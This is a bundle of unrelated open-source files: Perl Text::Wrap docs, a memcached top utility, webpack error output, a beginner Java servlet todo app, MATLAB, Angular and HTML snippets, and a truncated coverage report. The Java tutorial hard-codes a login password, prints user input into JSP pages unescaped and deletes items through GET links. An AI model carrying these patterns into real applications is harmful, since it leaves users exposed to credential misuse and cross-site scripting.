Code: print wrap("\t","",<<END); This is a bit of text that forms a normal book-style indented paragraph END Result: " This is a bit of text that forms a normal book-style indented paragraph " Code: $Text::Wrap::columns=20; $Text::Wrap::separator="|"; print wrap("","","This is a bit of text that forms a normal book-style paragraph"); Result: "This is a bit of|text that forms a|normal book-style|paragraph" =head1 SUBVERSION This module comes in two flavors: one for modern perls (5.10 and above) and one for ancient obsolete perls. The version for modern perls has support for Unicode. The version for old perls does not. You can tell which version you have installed by looking at C<$Text::Wrap::SUBVERSION>: it is C<old> for obsolete perls and C<modern> for current perls. This man page is for the version for modern perls and so that's probably what you've got. =head1 SEE ALSO For correct handling of East Asian half- and full-width characters, see L<Text::WrapI18N>. For more detailed controls: L<Text::Format>. =head1 AUTHOR David Muir Sharnoff <[email protected]> with help from Tim Pierce and many many others. =head1 LICENSE Copyright (C) 1996-2009 David Muir Sharnoff. Copyright (C) 2012-2013 Google, Inc. This module may be modified, used, copied, and redistributed at your own risk. Although allowed by the preceding license, please do not publicly redistribute modified versions of this code with the name "Text::Wrap" unless it passes the unmodified Text::Wrap test suite.
{ "pile_set_name": "Github" }
Asset Size Chunks Chunk Names bundle.js 5.57 KiB main [emitted] main ../common/index.js 109 bytes [emitted] ../common/index.d.ts 43 bytes [emitted] ../common/tsconfig.tsbuildinfo 67.4 KiB [emitted] ../unreferencedIndirect/index.js 176 bytes [emitted] ../unreferencedIndirect/index.d.ts 57 bytes [emitted] ../unreferencedIndirect/tsconfig.tsbuildinfo 67.4 KiB [emitted] ../unreferenced/index.js 144 bytes [emitted] ../unreferenced/index.d.ts 49 bytes [emitted] ../unreferenced/tsconfig.tsbuildinfo 67.4 KiB [emitted] Entrypoint main = bundle.js [./app.ts] 218 bytes {main} [built] [2 errors] [./lib/index.ts] 493 bytes {main} [built] [failed] [1 error] [./utils/index.ts] 495 bytes {main} [built] [failed] [1 error] ERROR in [tsl] ERROR in indirectWithError\fileWithError.ts(2,5)  TS2322: Type 'false' is not assignable to type 'string'. ERROR in [tsl] ERROR in lib\fileWithError.ts(2,5)  TS2322: Type 'false' is not assignable to type 'string'. ERROR in ./lib/index.ts Module build failed (from /index.js): Error: TypeScript emitted no output for lib\index.ts. The most common cause for this is having errors when building referenced projects. at makeSourceMapAndFinish (dist\index.js:87:18) at successLoader (dist\index.js:73:9) at Object.loader (dist\index.js:24:5) @ ./app.ts 3:12-28 ERROR in ./utils/index.ts Module build failed (from /index.js): Error: TypeScript emitted no output for utils\index.ts. The most common cause for this is having errors when building referenced projects. at makeSourceMapAndFinish (dist\index.js:87:18) at successLoader (dist\index.js:73:9) at Object.loader (dist\index.js:24:5) @ ./app.ts 4:14-32
{ "pile_set_name": "Github" }
#!/usr/bin/perl # dormando's awesome memcached top utility! # # Copyright 2009 Dormando ([email protected]). All rights reserved. # # Use and distribution licensed under the BSD license. See # the COPYING file for full text. use strict; use warnings FATAL => 'all'; use AnyEvent; use AnyEvent::Socket; use AnyEvent::Handle; use Getopt::Long; use YAML qw/Dump Load LoadFile/; use Term::ReadKey qw/ReadMode ReadKey GetTerminalSize/; our $VERSION = '0.1'; my $CLEAR = `clear`; my @TERM_SIZE = (); $|++; my %opts = (); GetOptions(\%opts, 'help|h', 'config=s'); if ($opts{help}) { show_help(); exit; } $SIG{INT} = sub { ReadMode('normal'); print "\n"; exit; }; # TODO: make this load from central location, and merge in homedir changes. # then merge Getopt::Long stuff on top of that # TODO: Set a bunch of defaults and merge in. my $CONF = load_config(); my %CONS = (); my $LAST_RUN = time; # time after the last loop cycle. my $TIME_SINCE_LAST_RUN = time; # time since last loop cycle. my $loop_timer; my $main_cond; my $prev_stats_results; my %display_modes = ( 't' => \&display_top_mode, '?' => \&display_help_mode, 'h' => \&display_help_mode, ); my %column_compute = ( 'hostname' => { stats => [], code => \&compute_hostname}, 'hit_rate' => { stats => ['get_hits', 'get_misses'], code => \&compute_hit_rate }, 'fill_rate' => { stats => ['bytes', 'limit_maxbytes'], code => \&compute_fill_rate }, ); my %column_format = ( 'hit_rate' => \&format_percent, 'fill_rate' => \&format_percent, ); # This can collapse into %column_compute my %column_format_totals = ( 'hit_rate' => 0, 'fill_rate' => 0, ); ReadMode('cbreak'); my $LAST_KEY = ''; my $read_keys = AnyEvent->io ( fh => \*STDIN, poll => 'r', cb => sub { $LAST_KEY = ReadKey(-1); # If there is a running timer, cancel it. # Don't want to interrupt a main loop run. # fire_main_loop()'s iteration will pick up the keypress. if ($loop_timer) { $loop_timer = undef; $main_cond->send; } } ); # start main loop fire_main_loop(); ### AnyEvent related code. sub fire_main_loop { for (;;) { $loop_timer = undef; $main_cond = AnyEvent->condvar; my $time_taken = main_loop(); my $delay = $CONF->{delay} - $time_taken; $delay = 0 if $delay < 0; $loop_timer = AnyEvent->timer( after => $delay, cb => $main_cond, ); $main_cond->recv; } } sub main_loop { my $start = AnyEvent->now; # use ->time to find the end. maintain_connections(); my $cv = AnyEvent->condvar; # FIXME: Need to dump early if there're no connected conns # FIXME: Make this only fetch stats from cons we care to visualize? # maybe keep everything anyway to maintain averages? my %stats_results = (); while (my ($hostname, $con) = each %CONS) { $cv->begin; call_stats($con, ['', 'items', 'slabs'], sub { $stats_results{$hostname} = shift; $cv->end; }); } $cv->recv; # Short circuit since we don't have anything to compare to. unless ($prev_stats_results) { $prev_stats_results = \%stats_results; return $CONF->{delay}; } # Semi-exact global time diff for stats that want to average # themselves per-second. my $this_run = AnyEvent->time; $TIME_SINCE_LAST_RUN = $this_run - $LAST_RUN; $LAST_RUN = $this_run; # Done all our fetches. Drive the display. display_run($prev_stats_results, \%stats_results); $prev_stats_results = \%stats_results; my $end = AnyEvent->time; my $diff = $LAST_RUN - $start; print "loop took: $diff"; return $diff; } sub maintain_connections { my $cv = AnyEvent->condvar; $cv->begin (sub { shift->send }); for my $host (@{$CONF->{servers}}) { next if $CONS{$host}; $cv->begin; $CONS{$host} = connect_memcached($host, sub { if ($_[0] eq 'err') { print "Failed connecting to $host: ", $_[1], "\n"; delete $CONS{$host}; } $cv->end; }); } $cv->end; $cv->recv; } sub connect_memcached { my ($fullhost, $cb) = @_; my ($host, $port) = split /:/, $fullhost; my $con; $con = AnyEvent::Handle->new ( connect => [$host => $port], on_connect => sub { $cb->('con'); }, on_connect_error => sub { $cb->('err', $!); $con->destroy; }, on_eof => sub { $cb->('err', $!); $con->destroy; }, ); return $con; } # Function's getting a little weird since I started optimizing it. # As of my first set of production tests, this routine is where we spend # almost all of our processing time. sub call_stats { my ($con, $cmds, $cb) = @_; my $stats = {}; my $num_types = @$cmds; my $reader; $reader = sub { my ($con, $results) = @_; { my %temp = (); for my $line (split(/\n/, $results)) { my ($k, $v) = (split(/\s+/, $line))[1,2]; $temp{$k} = $v; } $stats->{$cmds->[0]} = \%temp; } shift @$cmds; unless (@$cmds) { # Out of commands to process, return goodies. $cb->($stats); return; } }; for my $cmd (@$cmds) { $con->push_write('stats ' . $cmd . "\n"); $stats->{$cmd} = {}; $con->push_read(line => "END\r\n", $reader); } } ### Compute routines sub compute_hostname { return $_[0]; } sub compute_hit_rate { my $s = $_[1]; my $total = $s->{get_hits} + $s->{get_misses}; return 'NA' unless $total; return $s->{get_hits} / $total; } sub compute_fill_rate { my $s = $_[1]; return $s->{bytes} / $s->{limit_maxbytes}; } sub format_column { my ($col, $val) = @_; my $res; $col =~ s/^all_//; if ($column_format{$col}) { if (ref($column_format{$col}) eq 'CODE') { return $column_format{$col}->($val); } else { return $val .= $column_format{$col}; } } else { return format_commas($val); } } sub column_can_total { my $col = shift; $col =~ s/^all_//; return 1 unless exists $column_format_totals{$col}; return $column_format_totals{$col}; } ### Display routines # If there isn't a specific column type computer, see if we just want to # look at the specific stat and return it. # If column is a generic type and of 'all_cmd_get' format, return the more # complete stat instead of the diffed stat. sub compute_column { my ($col, $host, $prev_stats, $curr_stats) = @_; my $diff_stats = 1; $diff_stats = 0 if ($col =~ s/^all_//); # Really should decide on whether or not to flatten the hash :/ my $find_stat = sub { for my $type (keys %{$_[0]}) { return $_[0]->{$type}->{$_[1]} if exists $_[0]->{$type}->{$_[1]}; } }; my $diff_stat = sub { my $stat = shift; return 'NA' unless defined $find_stat->($curr_stats, $stat); if ($diff_stats) { my $diff = eval { return ($find_stat->($curr_stats, $stat) - $find_stat->($prev_stats, $stat)) / $TIME_SINCE_LAST_RUN; }; return 'NA' if ($@); return $diff; } else { return $find_stat->($curr_stats, $stat); } }; if (my $comp = $column_compute{$col}) { my %s = (); for my $stat (@{$comp->{stats}}) { $s{$stat} = $diff_stat->($stat); } return $comp->{code}->($host, \%s); } else { return $diff_stat->($col); } return 'NA'; } # We have a bunch of stats from a bunch of connections. # At this point we run a particular display mode, capture the lines, then # truncate and display them. sub display_run { my $prev_stats = shift; my $curr_stats = shift; @TERM_SIZE = GetTerminalSize; die "cannot detect terminal size" unless $TERM_SIZE[0] && $TERM_SIZE[1]; if ($LAST_KEY eq 'q') { print "\n"; ReadMode('normal'); exit; } if ($LAST_KEY ne $CONF->{mode} && exists $display_modes{$LAST_KEY}) { $CONF->{prev_mode} = $CONF->{mode}; $CONF->{mode} = $LAST_KEY; } elsif ($CONF->{mode} eq 'h' || $CONF->{mode} eq '?') { # Bust out of help mode on any key. $CONF->{mode} = $CONF->{prev_mode}; } my $lines = $display_modes{$CONF->{mode}}->($prev_stats, $curr_stats); display_lines($lines) if $lines; } # Default "top" mode. # create a set of computed columns as requested by the config. # this has gotten a little out of hand... needs more cleanup/abstraction. sub display_top_mode { my $prev_stats = shift; my $curr_stats = shift; my @columns = @{$CONF->{top_mode}->{columns}}; my @rows = (); my @tot_row = (); # Round one. for my $host (sort keys %{$curr_stats}) { my @row = (); for my $colnum (0 .. @columns-1) { my $col = $columns[$colnum]; my $res = compute_column($col, $host, $prev_stats->{$host}, $curr_stats->{$host}); $tot_row[$colnum] += $res if is_numeric($res); push @row, $res; } push(@rows, \@row); } # Sort rows by sort column (ascending or descending) if (my $sort = $CONF->{top_mode}->{sort_column}) { my $order = $CONF->{top_mode}->{sort_order} || 'asc'; my $colnum = 0; for (0 .. @columns-1) { $colnum = $_ if $columns[$_] eq $sort; } my @newrows; if ($order eq 'asc') { if (is_numeric($rows[0]->[$colnum])) { @newrows = sort { $a->[$colnum] <=> $b->[$colnum] } @rows; } else { @newrows = sort { $a->[$colnum] cmp $b->[$colnum] } @rows; } } else { if (is_numeric($rows[0]->[$colnum])) { @newrows = sort { $b->[$colnum] <=> $a->[$colnum] } @rows; } else { @newrows = sort { $b->[$colnum] cmp $a->[$colnum] } @rows; } } @rows = @newrows; } # Format each column after the sort... { my @newrows = (); for my $row (@rows) { my @newrow = (); for my $colnum (0 .. @columns-1) { push @newrow, is_numeric($row->[$colnum]) ? format_column($columns[$colnum], $row->[$colnum]) : $row->[$colnum]; } push @newrows, \@newrow; } @rows = @newrows; } # Create average and total rows. my @avg_row = (); for my $col (0 .. @columns-1) { if (is_numeric($tot_row[$col])) { my $countable_rows = 0; for my $row (@rows) { next unless $row->[$col]; $countable_rows++ unless $row->[$col] eq 'NA'; } $countable_rows = 1 unless $countable_rows; push @avg_row, format_column($columns[$col], sprintf('%.2f', $tot_row[$col] / $countable_rows)); } else { push @avg_row, 'NA'; } $tot_row[$col] = 'NA' unless defined $tot_row[$col]; $tot_row[$col] = 'NA' unless (column_can_total($columns[$col])); $tot_row[$col] = format_column($columns[$col], $tot_row[$col]) unless $tot_row[$col] eq 'NA'; } unshift @rows, \@avg_row; unshift @rows, ['AVERAGE:']; unshift @rows, \@tot_row; unshift @rows, ['TOTAL:']; # Round two. Pass @rows into a function which returns an array with the # desired format spacing for each column. unshift @rows, \@columns; my $spacing = find_optimal_spacing(\@rows); my @display_lines = (); for my $row (@rows) { my $line = ''; for my $col (0 .. @$row-1) { my $space = $spacing->[$col]; $line .= sprintf("%-${space}s ", $row->[$col]); } push @display_lines, $line; } return \@display_lines; } sub display_help_mode { my $help = <<"ENDHELP"; dormando's awesome memcached top utility version v$VERSION This early version requires you to edit the ~/.damemtop/damemtop.yaml (or /etc/damemtop.yaml) file in order to change options. See --help for more info. Hit any key to exit help. ENDHELP my @lines = split /\n/, $help; display_lines(\@lines); $LAST_KEY = ReadKey(0); return; } # Takes a set of lines, clears screen, dumps header, trims lines, etc # MAYBE: mode to wrap lines instead of trim them? sub display_lines { my $lines = shift; my $width = $TERM_SIZE[0]; my $height_remain = $TERM_SIZE[1]; unshift @$lines, display_header($width); clear_screen() unless $CONF->{no_clear}; while (--$height_remain && @$lines) { # truncate too long lines. my $line = shift @$lines; $line = substr $line, 0, $width-1; print $line, "\n"; } } sub display_header { my $topbar = 'damemtop: ' . scalar localtime; if ($CONF->{mode} eq 't' && $CONF->{top_mode}->{sort_column}) { $topbar .= ' [sort: ' . $CONF->{top_mode}->{sort_column} . ']'; } $topbar .= ' [delay: ' . $CONF->{delay} . 's]'; return $topbar; } ### Utilities # find the optimal format spacing for each column, which is: # longest length of item in col + 2 (whitespace). sub find_optimal_spacing { my $rows = shift; my @maxes = (); my $num_cols = @{$rows->[0]}; for my $row (@$rows) { for my $col (0 .. $num_cols-1) { $maxes[$col] = 0 unless $maxes[$col]; next unless $row->[$col]; $maxes[$col] = length($row->[$col]) if length($row->[$col]) > $maxes[$col]; } } for my $col (0 .. $num_cols) { $maxes[$col] += 1; } return \@maxes; } # doesn't try too hard to identify numbers... sub is_numeric { return 0 unless $_[0]; return 1 if $_[0] =~ m/^\d+(\.\d*)?(\w+)?$/; return 0; } sub format_percent { return sprintf("%.2f%%", $_[0] * 100); } sub format_commas { my $num = shift; $num = int($num); $num =~ s/(^[-+]?\d+?(?=(?>(?:\d{3})+)(?!\d))|\G\d{3}(?=\d))/$1,/g; return $num; } # Can tick counters/etc here as well. sub clear_screen { print $CLEAR; } # tries minimally to find a localized config file. # TODO: Handle the YAML error and make it prettier. sub load_config { my $config = $opts{config} if $opts{config}; my $homedir = "$ENV{HOME}/.damemtop/damemtop.yaml"; if (-e $homedir) { $config = $homedir; } else { $config = '/etc/damemtop.yaml'; } return LoadFile($config); } sub show_help { print <<"ENDHELP"; dormando's awesome memcached top utility version v$VERSION This program is copyright (c) 2009 Dormando. Use and distribution licensed under the BSD license. See the COPYING file for full text. contact: dormando\@rydia.net or memcached\@googlegroups.com. This early version requires you to edit the ~/.damemtop/damemtop.yaml (or /etc/damemtop.yaml) file in order to change options. You may display any column that is in the output of 'stats', 'stats items', or 'stats slabs' from memcached's ASCII protocol. Start a column with 'all_' (ie; 'all_get_hits') to display the current stat, otherwise the stat is displayed as an average per second. Specify a "sort_column" under "top_mode" to sort the output by any column. Some special "computed" columns exist: hit_rate (get/miss hit ratio) fill_rate (% bytes used out of the maximum memory limit) ENDHELP exit; }
{ "pile_set_name": "Github" }
#!/bin/bash dconf load /org/pantheon/terminal/settings/ <<COLORS [/] name='Builtin Dark' cursor-color='#bbbbbb' foreground='#bbbbbb' background='rgba(0,0,0,.95)' palette='#000000:#bb0000:#00bb00:#bbbb00:#0000bb:#bb00bb:#00bbbb:#bbbbbb:#555555:#ff5555:#55ff55:#ffff55:#5555ff:#ff55ff:#55ffff:#ffffff' COLORS
{ "pile_set_name": "Github" }
## Files List ### pom.xml ``` <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.in28minutes</groupId> <artifactId>in28Minutes-first-webapp</artifactId> <version>0.0.1-SNAPSHOT</version> <packaging>war</packaging> <dependencies> <dependency> <groupId>javax</groupId> <artifactId>javaee-web-api</artifactId> <version>6.0</version> <scope>provided</scope> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> </dependency> <dependency> <groupId>org.webjars</groupId> <artifactId>bootstrap</artifactId> <version>3.3.6</version> </dependency> <dependency> <groupId>org.webjars</groupId> <artifactId>jquery</artifactId> <version>1.9.1</version> </dependency> </dependencies> <build> <pluginManagement> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plugin</artifactId> <version>3.2</version> <configuration> <verbose>true</verbose> <source>1.7</source> <target>1.7</target> <showWarnings>true</showWarnings> </configuration> </plugin> <plugin> <groupId>org.apache.tomcat.maven</groupId> <artifactId>tomcat7-maven-plugin</artifactId> <version>2.2</version> <configuration> <path>/</path> <contextReloadable>true</contextReloadable> </configuration> </plugin> </plugins> </pluginManagement> </build> </project> ``` ### src/main/java/com/in28minutes/filter/LoginRequiredFilter.java ``` package com.in28minutes.filter; import java.io.IOException; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.annotation.WebFilter; import javax.servlet.http.HttpServletRequest; @WebFilter(urlPatterns = "*.do") public class LoginRequiredFilter implements Filter { @Override public void destroy() { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) servletRequest; if (request.getSession().getAttribute("name") != null) { chain.doFilter(servletRequest, servletResponse); } else { request.getRequestDispatcher("/login.do").forward(servletRequest, servletResponse); } } @Override public void init(FilterConfig arg0) throws ServletException { } } ``` ### src/main/java/com/in28minutes/login/LoginService.java ``` package com.in28minutes.login; public class LoginService { public boolean isUserValid(String user, String password) { if (user.equals("in28Minutes") && password.equals("dummy")) return true; return false; } } ``` ### src/main/java/com/in28minutes/login/LoginServlet.java ``` package com.in28minutes.login; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import com.in28minutes.todo.TodoService; @WebServlet(urlPatterns = "/login.do") public class LoginServlet extends HttpServlet { private LoginService userValidationService = new LoginService(); private TodoService todoService = new TodoService(); protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.getRequestDispatcher("/WEB-INF/views/login.jsp").forward( request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String name = request.getParameter("name"); String password = request.getParameter("password"); boolean isUserValid = userValidationService.isUserValid(name, password); if (isUserValid) { request.getSession().setAttribute("name", name); response.sendRedirect("/todo.do"); } else { request.setAttribute("errorMessage", "Invalid Credentials!"); request.getRequestDispatcher("/WEB-INF/views/login.jsp").forward( request, response); } } } ``` ### src/main/java/com/in28minutes/logout/LogoutServlet.java ``` package com.in28minutes.logout; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet(urlPatterns = "/logout.do") public class LogoutServlet extends HttpServlet { protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.getSession().invalidate(); request.getRequestDispatcher("/WEB-INF/views/login.jsp").forward( request, response); } } ``` ### src/main/java/com/in28minutes/todo/AddTodoServlet.java ``` package com.in28minutes.todo; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet(urlPatterns = "/add-todo.do") public class AddTodoServlet extends HttpServlet { private TodoService todoService = new TodoService(); protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String newTodo = request.getParameter("todo"); todoService.addTodo(new Todo(newTodo)); response.sendRedirect("/todo.do"); } } ``` ### src/main/java/com/in28minutes/todo/DeleteTodoServlet.java ``` package com.in28minutes.todo; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet(urlPatterns = "/delete-todo.do") public class DeleteTodoServlet extends HttpServlet { private TodoService todoService = new TodoService(); protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { todoService.deleteTodo(new Todo(request.getParameter("todo"))); response.sendRedirect("/todo.do"); } } ``` ### src/main/java/com/in28minutes/todo/ListTodoServlet.java ``` package com.in28minutes.todo; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; @WebServlet(urlPatterns = "/todo.do") public class ListTodoServlet extends HttpServlet { private TodoService todoService = new TodoService(); protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setAttribute("todos", todoService.retrieveTodos()); request.getRequestDispatcher("/WEB-INF/views/todo.jsp").forward( request, response); } } ``` ### src/main/java/com/in28minutes/todo/Todo.java ``` package com.in28minutes.todo; public class Todo { private String name; public Todo(String name) { super(); this.name = name; } public String getName() { return name; } public void setName(String name) { this.name = name; } @Override public String toString() { return String.format("Todo [name=%s]", name); } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + ((name == null) ? 0 : name.hashCode()); return result; } @Override public boolean equals(Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; Todo other = (Todo) obj; if (name == null) { if (other.name != null) return false; } else if (!name.equals(other.name)) return false; return true; } } ``` ### src/main/java/com/in28minutes/todo/TodoService.java ``` package com.in28minutes.todo; import java.util.ArrayList; import java.util.List; public class TodoService { private static List<Todo> todos = new ArrayList<Todo>(); static { todos.add(new Todo("Learn Web Application Development")); todos.add(new Todo("Learn Spring MVC")); todos.add(new Todo("Learn Spring Rest Services")); } public List<Todo> retrieveTodos() { return todos; } public void addTodo(Todo todo) { todos.add(todo); } public void deleteTodo(Todo todo) { todos.remove(todo); } } ``` ### src/main/webapp/WEB-INF/views/login.jsp ``` <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%> <!DOCTYPE html> <html> <head> <title>Todos</title> <link href="webjars/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet"> <style> .footer { position: absolute; bottom: 0; width: 100%; height: 60px; background-color: #f5f5f5; } </style> </head> <body> <nav class="navbar navbar-default"> <a href="/" class="navbar-brand">Brand</a> <ul class="nav navbar-nav"> <li class="active"><a href="#">Home</a></li> <li><a href="/todo.do">Todos</a></li> <li><a href="http://www.in28minutes.com">In28Minutes</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="/login.do">Login</a></li> </ul> </nav> <div class="container"> <form action="/login.do" method="post"> <p> <font color="red">${errorMessage}</font> </p> Name: <input type="text" name="name" /> Password:<input type="password" name="password" /> <input type="submit" value="Login" /> </form> </div> <footer class="footer"> <div>footer content</div> </footer> <script src="webjars/jquery/1.9.1/jquery.min.js"></script> <script src="webjars/bootstrap/3.3.6/js/bootstrap.min.js"></script> </body> </html> ``` ### src/main/webapp/WEB-INF/views/todo.jsp ``` <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%> <!DOCTYPE html> <html> <head> <title>Todos</title> <link href="webjars/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet"> <style> .footer { position: absolute; bottom: 0; width: 100%; height: 60px; background-color: #f5f5f5; } </style> </head> <body> <nav class="navbar navbar-default"> <a href="/" class="navbar-brand">Brand</a> <ul class="nav navbar-nav"> <li class="active"><a href="#">Home</a></li> <li><a href="/todo.do">Todos</a></li> <li><a href="http://www.in28minutes.com">In28Minutes</a></li> </ul> <ul class="nav navbar-nav navbar-right"> <li><a href="/logout.do">Logout</a></li> </ul> </nav> <div class="container"> <H1>Welcome ${name}</H1> Your Todos are <ol> <c:forEach items="${todos}" var="todo"> <li>${todo.name}&nbsp;<a href="/delete-todo.do?todo=${todo.name}">Delete</a></li> </c:forEach> </ol> <p> <font color="red">${errorMessage}</font> </p> <form method="POST" action="/add-todo.do"> New Todo : <input name="todo" type="text" /> <input name="add" type="submit" /> </form> </div> <footer class="footer"> <div>footer content</div> </footer> <script src="webjars/jquery/1.9.1/jquery.min.js"></script> <script src="webjars/bootstrap/3.3.6/js/bootstrap.min.js"></script> </body> </html> ``` ### src/main/webapp/WEB-INF/web.xml ``` <web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd" version="3.0"> <display-name>To do List</display-name> <welcome-file-list> <welcome-file>login.do</welcome-file> </welcome-file-list> </web-app> ```
{ "pile_set_name": "Github" }
function [ xp,landmarkidx ] = ZR2BFM( bs,im ) %ZR2BFM Convert Zhu and Ramamnan output to BFM vertex correspondence % Converts the detected landmarks from the Zhu and Ramamnan detector into % references into the BFM and 2D positions in the format used by our % code. There is only support for 68 landmark detections at present. % No support for profile poses yet if size(bs.xy,1)==68 % Frontal pose listX= (bs.xy(:,1)+bs.xy(:,3))/2; listY= (bs.xy(:,2)+bs.xy(:,4))/2; list = [listX'; listY']; landlist= [1:51, 56, 64]; xp=[list(1,landlist);list(2,landlist)]; xp(2,:) = size(im,1)+1-xp(2,:); landmarkidx = [8333,7301,6011,9365,10655,8320,8311,8286,8275,5959,4675,3642,4922,3631,2088,27391,39839,40091,40351,6713,10603,11641,12673,11244,12661,14472,27778,41804,41578,41310,9806,8345,7442,6936,5392,7335,7851,8354,9248,9398,11326,9399,9129,9406,9128,8890,8367,7858,7580,7471,8374,23002,32033]'; end end
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> archan937@github: /templayed.js - test suite </title> <script src="../templayed.js" type="text/javascript"></script> <script src="assets/qunit.js" type="text/javascript"></script> <script src="assets/tests.js" type="text/javascript"></script> <link href="assets/qunit.css" rel="stylesheet"/> </head> <body> <div id="qunit"></div> </body> </html>
{ "pile_set_name": "Github" }
<!-- Generated template for the StepsComponent component --> <section class="dv_content" [class.idark]="isIdark"> <h6>做法:</h6> <div *ngFor="let item of data.work; let i=index"> <p><span>{{i+1}}:</span>{{item.text}}</p> <section *ngIf="item.src != ''" class="dv_imgs" (click)="pswpElementInit(i);" [style.background]="'url('+item.src+')'"></section> </div> <h6 *ngIf="data.tip != ''">提示:</h6> <section *ngIf="data.tip != ''" class="dv_tips"> <p>{{data.tip}}</p> </section> </section>
{ "pile_set_name": "Github" }
<!doctype html> <html lang="en"> <head> <title>Code coverage report for lib/http-proxy/passes</title> <meta charset="utf-8" /> <link rel="stylesheet" href="../../../prettify.css" /> <link rel="stylesheet" href="../../../base.css" /> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type='text/css'> .coverage-summary .sorter { background-image: url(../../../sort-arrow-sprite.png); } </style> </head> <body> <div class='wrapper'> <div class='pad1'> <h1> <a href="../../../index.html">All files</a> lib/http-proxy/passes </h1> <div class='clearfix'> <div class='fl pad1y space-right2'> <span class="strong">13.87% </span> <span class="quiet">Statements</span> <span class='fraction'>24/173</span> </div> <div class='fl pad1y space-right2'> <span class="strong">4.49% </span> <span class="quiet">Branches</span> <span class='fraction'>7/156</span> </div> <div class='fl pad1y space-right2'> <span class="strong">9.68% </span> <span class="quiet">Functions</span> <span class='fraction'>3/31</span> </div> <div class='fl pad1y space-right2'> <span class="strong">15% </span> <span class="quiet">Lines</span> <span class='fraction'>24/160</span> </div> </div> <p class="quiet"> Press <em>n</em> or <em>j</em> to go to the next uncovered block, <em>b</em>, <em>p</em> or <em>k</em> for the previous block. </p> </div> <div class='status-line low'></div> <div class="pad1"> <table class="coverage-summary"> <thead> <tr> <th data-col="file" data-fmt="html" data-html="true" class="file">File</th> <th data-col="pic" data-type="number" data-fmt="html" data-html="true" class="pic"></th> <th data-col="statements" data-type="number" data-fmt="pct" class="pct">Statements</th> <th data-col="statements_raw" data-type="number" data-fmt="html" class="abs"></th> <th data-col="branches" data-type="number" data-fmt="pct" class="pct">Branches</th> <th data-col="branches_raw" data-type="number" data-fmt="html" class="abs"></th> <th data-col="functions" data-type="number" data-fmt="pct" class="pct">Functions</th> <th data-col="functions_raw" data-type="number" data-fmt="html" class="abs"></th> <th data-col="lines" data-type="number" data-fmt="pct" class="pct">Lines</th> <th data-col="lines_raw" data-type="number" data-fmt="html" class="abs"></th> </tr> </thead> <tbody><tr> <td class="file low" data-value="web-incoming.js"><a href="web-incoming.js.html">web-incoming.js</a></td> <td data-value="13.24" class="pic low"><div class="chart"><div class="cover-fill" style="width: 13%;"></div><div class="cover-empty" style="width:87%;"></div></div></td> <td data-value="13.24" class="pct low">13.24%</td> <td data-value="68" class="abs low">9/68</td> <td data-value="0" class="pct low">0%</td> <td data-value="67" class="abs low">0/67</td> <td data-value="7.69" class="pct low">7.69%</td> <td data-value="13" class="abs low">1/13</td> <td data-value="15" class="pct low">15%</td> <td data-value="60" class="abs low">9/60</td> </tr> <tr> <td class="file low" data-value="web-outgoing.js"><a href="web-outgoing.js.html">web-outgoing.js</a></td> <td data-value="21.15" class="pic low"><div class="chart"><div class="cover-fill" style="width: 21%;"></div><div class="cover-empty" style="width:79%;"></div></div></td> <td data-value="21.15" class="pct low">21.15%</td> <td data-value="52" class="abs low">11/52</td> <td data-value="13.21" class="pct low">13.21%</td> <td data-value="53" class="abs low">7/53</td> <td data-value="28.57" class="pct low">28.57%</td> <td data-value="7" class="abs low">2/7</td> <td data-value="21.57" class="pct low">21.57%</td> <td data-value="51" class="abs low">11/51</td> </tr> <tr> <td class="file low" data-value="ws-incoming.js"><a href="ws-incoming.js.html">ws-incoming.js</a></td> <td data-value="7.55" class="pic low"><div class="chart"><div class="cover-fill" style="width: 7%;"></div><div class="cover-empty" 